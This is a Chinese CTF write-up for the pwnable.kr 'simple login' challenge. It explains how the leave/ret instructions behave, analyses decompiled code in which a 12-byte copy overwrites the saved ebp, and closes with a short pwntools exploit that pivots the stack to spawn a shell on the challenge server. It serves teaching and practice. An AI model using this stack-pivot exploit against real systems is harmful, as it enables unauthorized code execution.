当前位置: 代码迷 >> 综合 >> pwnable(simple login)leave和ret的深入研究
  详细解决方案

pwnable(simple login)leave和ret的深入研究

热度:66   发布时间:2023-12-13 04:52:10.0

通常栈溢出获取shell的方法是覆盖返回地址,但是如果溢出只允许覆盖到ebp该怎么办呢?

Leave的作用相当==mov esp,ebp和pop ebp
Win32汇编中局部变量的使用方法可以解释一个很有趣的现象:在DOS汇编的时候,如果在子程序中的push指令和pop指令不配对,那么返回的时候ret指令从堆栈里得到的肯定是错误的返回地址,程序也就死掉了。但在Win32汇编中,push指令和pop指令不配对可能在逻辑上产生错误,却不会影响子程序正常返回,原因就是在返回的时候esp不是靠相同数量的push和pop指令来保持一致的,而是靠leave指令从保存在ebp中的原始值中取回来的,也就是说,即使把esp改得一塌糊涂也不会影响到子程序的返回,当然,“窍门”就在ebp,把ebp改掉,程序就玩完了。

mov esp, ebp  ;esp的内容为ebp指向的栈地址
pop ebp       ;ebp = ebp指向的栈地址中保存的值,esp + 4pop eip       ;程序转到 esp + 4 指向的地址执行

看一下程序

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [esp+18h] [ebp-28h]char s; // [esp+1Eh] [ebp-22h]unsigned int v6; // [esp+3Ch] [ebp-4h]memset(&s, 0, 0x1Eu);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);printf("Authenticate : ");_isoc99_scanf("%30s", &s);memset(&input, 0, 0xCu);v4 = 0;v6 = Base64Decode(&s, &v4);if ( v6 > 0xC ){puts("Wrong Length");}else{memcpy(&input, v4, v6);if ( auth(v6) == 1 )correct();}return 0;
}

_isoc99_scanf("%30s", &s);输入限制30个字节。
对输入进行了base64解密。
解密后的数据要小于等于12

_BOOL4 __cdecl auth(int a1)
{char v2; // [esp+14h] [ebp-14h]char *s2; // [esp+1Ch] [ebp-Ch]int v4; // [esp+20h] [ebp-8h]memcpy(&v4, &input, a1);s2 = (char *)calc_md5(&v2, 12);printf("hash : %s\n", (char)s2);return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

这里进行了拷贝,可以看到int v4; // [esp+20h] [ebp-8h]但是实际上能拷贝的数据长度位12字节可以覆盖ebp。

.text:0804930B                 leave
.text:0804930C                 retn

当auth正常返回的时候设置mov esp ebp(这个时候ebp还是原来的正确值),pop ebp在我们可以设置ebp。pop eip不会影响。
程序继续向后运行…
运行到下一个
leave;ret这个时候会
mov esp ebp设置esp(这里会把esp设置为刚才ebp的值也就是我们可以控制的内容)
pop ebp 不会有影响。
ret(也就是pop ip 也就是程序的执行流跳转到 esp+4的地址处执行)这个时候会劫持程序的执行流。

exp很简单

from pwn import *
p=remote("pwnable.kr",9003)
shell=0x08049284
INput=0x0811EB40
payload=(p32(0xaaaaaaaa)+p32(shell)+p32(INput)).encode("base64")
p.recvuntil("Authenticate : ")
p.sendline(payload)
p.interactive()
  相关解决方案